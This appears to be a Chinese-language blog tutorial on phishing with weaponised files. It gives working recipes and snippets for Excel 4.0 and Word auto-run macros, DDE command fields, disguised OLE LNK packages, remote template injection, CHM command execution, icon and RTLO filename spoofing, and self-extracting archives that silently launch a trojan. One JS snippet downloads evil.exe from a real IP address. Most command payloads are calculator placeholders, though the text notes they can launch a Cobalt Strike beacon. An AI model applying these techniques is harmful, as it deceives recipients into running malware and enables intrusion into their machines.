钓鱼技术

2022-02-11 15:20:25 浏览数 (1)

OFFICE

Office安全保护机制

受保护的视图

为了保护计算机不受office病毒侵害,微软设计了一个收保护视图,将所有可疑的office文件以只读方式打开,在该模式下多数编辑功能被禁用。文件呗以受保护视图打开的情况有如下几种

代码语言:javascript复制
文件是从 Internet 位置打开的 
文件是通过 Outlook 附件的方式接收的,并且计算机策略将发件人定义为不安全 
文件是从不安全的位置打开的
文件被文件块阻止
文件验证失败
文件是使用“在受保护的视图中打开”选项打开的 
文件是从其他人的 OneDrive 存储中打开的

XLM / Macro 4.0 (excel宏钓鱼)

excel下有宏功能,可以用来执行命令。 其使用方法如下

右键下方sheet1,选择插入

点击 MS Excel4.0宏表,就可在excel中插入一个宏表 依次输入这两个命令,并把第一行设置为Auto_Open

随后保存为xlsm文件即可。随后当该文件被打开时,会自动打开cmd窗口

这里的exec其实是执行的cmd命令,我们可以借此来上线cs等操作。

真不错。但在某些情况下打开此类excel文件需手动点击启用宏才能正常钓鱼。

Word宏

新建一个word文件,进入宏选项(如果没有请自行在开发者工具里开启

然后随便输AutoOpen(文件打开时自动执行宏),创建,注意宏的位置要指定为当前文档

然后进入宏编辑框

输入以下命令

代码语言:javascript复制
Sub AutoOpen()
Shell ("calc")  //只需要写这个就行了
End Sub

AutoExec:启动 Word 或加载全局模板时 AutoNew:每次新建文档时 AutoOpen:每次打开已有文档时 AutoClose:每次关闭文档时 AutoExit:退出 Word 或卸载全局模板时

保存为docm(启用宏的word文档)

打开文件,就蹦出计算器了。(前提是在信任中心设置开启所有宏) 当然,一般情况下打开此类文件会显示

启用内容后就会弹计算器了

Word DDE

在word文件里,输入 ctrl F9,进入到域代码编辑。我们可以键入以下代码使文件在被打开时执行系统命令(word2019复现未成功,word2016成功,似乎是word版本问题 这个蛮实用的,目前众多word是默认禁用宏的,dde只需要用户点击两个按钮即可执行,实用性比宏好

代码语言:javascript复制
DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe" 

随后在打开该文件时会出现两个对话框,全点是就会执行以上命令了

office OLE LNK

核心目标是创建一个内嵌的lnk文件诱导用户点击,从而执行命令。word,excel都能使用

我们创建一个快捷方式如下

其目标处填写的是

代码语言:javascript复制
%SystemRoot%system32WindowsPowerShellv1.0powershell.exe -command calc

然后打开word文件,插入对象,选择package,为了更加逼真勾选显示为图标,然后可以更改图标,我们在更改图标处选择一个迷惑性比较大的图标

然后进入创建软件包界面,选择我们刚刚创建的lnk文件,写好卷标名,然后就把软件包插入到word界面了,只要用户点击该软件包并选择执行,则会执行我们在lnk中定义的代码

而且值得一提的是,如果用上述方法把lnk文件放入publisher文件,则在网络中打开该文件时不会触发受保护视图。(可能是我本地环境有点错?我觉得这个有点离谱

嵌入js元素

这个说实话需要一点js功底。。 这个方式的原理是,如果我们往word中插入联机视频,那么再word的压缩包 word/document.xml里的embeddedHtml项中会出现联机视频对应的内嵌html代码,我们可以通过修改这些代码,插入恶意js代码。

一般的利用方式是通过js下载恶意文件,但是似乎是因为word的一些保护机制,不能实现页面跳转或者自动点击下载等操作(打开word文件会报错),好迷

代码语言:javascript复制
<html>
<body>
<script>
                var a = document.createElement('a');
                console.log(a);
                document.body.appendChild(a);
                a.style = 'display: none';
                a.href = "http://149.129.64.180/evil.exe";  //该行若存在,打开word文件会报错
                a.download = fileName;
                window.URL.revokeObjectURL(url);
</script>
<script>
                a.click();
</script>
</body>
</html>

我看了一个POC,里面是通过构造二进制数据交给BLOB对象处理,并自动点击由BLOB对象生成的url实现下载二进制数据,而这些二进制数据实质上是恶意文件。

因为我搞不来那个二进制数据怎么产生,所以这个方法暂时只做了解吧。。 而且我看的那个文章的POC在我的word2016里不能正常工作,不知道是什么原因 reference:https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-replacing-embedded-video-with-bogus-payload

利用模板文件注入宏指令

原理是,先创建一个带模板的文档,再创一个启用宏的模板文件。然后在带模板的文档的压缩包里面修改一些内容,使其指向的模板修改为我们自己创建的模板文件,这之间的过程可以由smb协议完成,故过查杀几率较高。

我们在启用宏的模板文件(doc3.dotm)里写入宏。

代码语言:javascript复制
Sub AutoOpen()
Shell "calc"
End Sub

CHM 电子书

新建一个html文件,编码格式ANSI,向里面写入如下内容

代码语言:javascript复制
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec 
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
 <PARAM name="Button" value="Bitmap::shortcut">
 <PARAM name="Item1" value=',cmd.exe,/c calc.exe'>     
 //这一排用于执行命令,注意cmd.exe前后都有,或者<PARAM name="Item1" value=',powershell.exe,-c calc.exe'>也行
 <PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

用easychm,新建-浏览-选择html文件所在目录-选择html文件-编译

生成一个chm,双击,打开了计算器

图标替换

使用Restorator,打开需要替换图标的exe,提供图标的exe,如下

右键main.exe,添加资源,图标,id选择127. 随后右键Listary.exe/图标/127 导出,将其导出到一个文件夹 然后右键main.exe/图标,导入,选择刚刚导出图标的文件夹,确定,ctrl 保存

RTLO

继续重命名,在a后面右键,插入Unicode控制字符->RLO

rar解压自运行

木马文件:artifact.exe 迷惑文件:calc.exe 进入winrar,选中这两个文件,右键添加至压缩包.创建自解压格式压缩文件

高级->自解压选项->设置

模式->全部隐藏

更新->解压并更新文件,覆盖所有文件

生成,双击运行

0 人点赞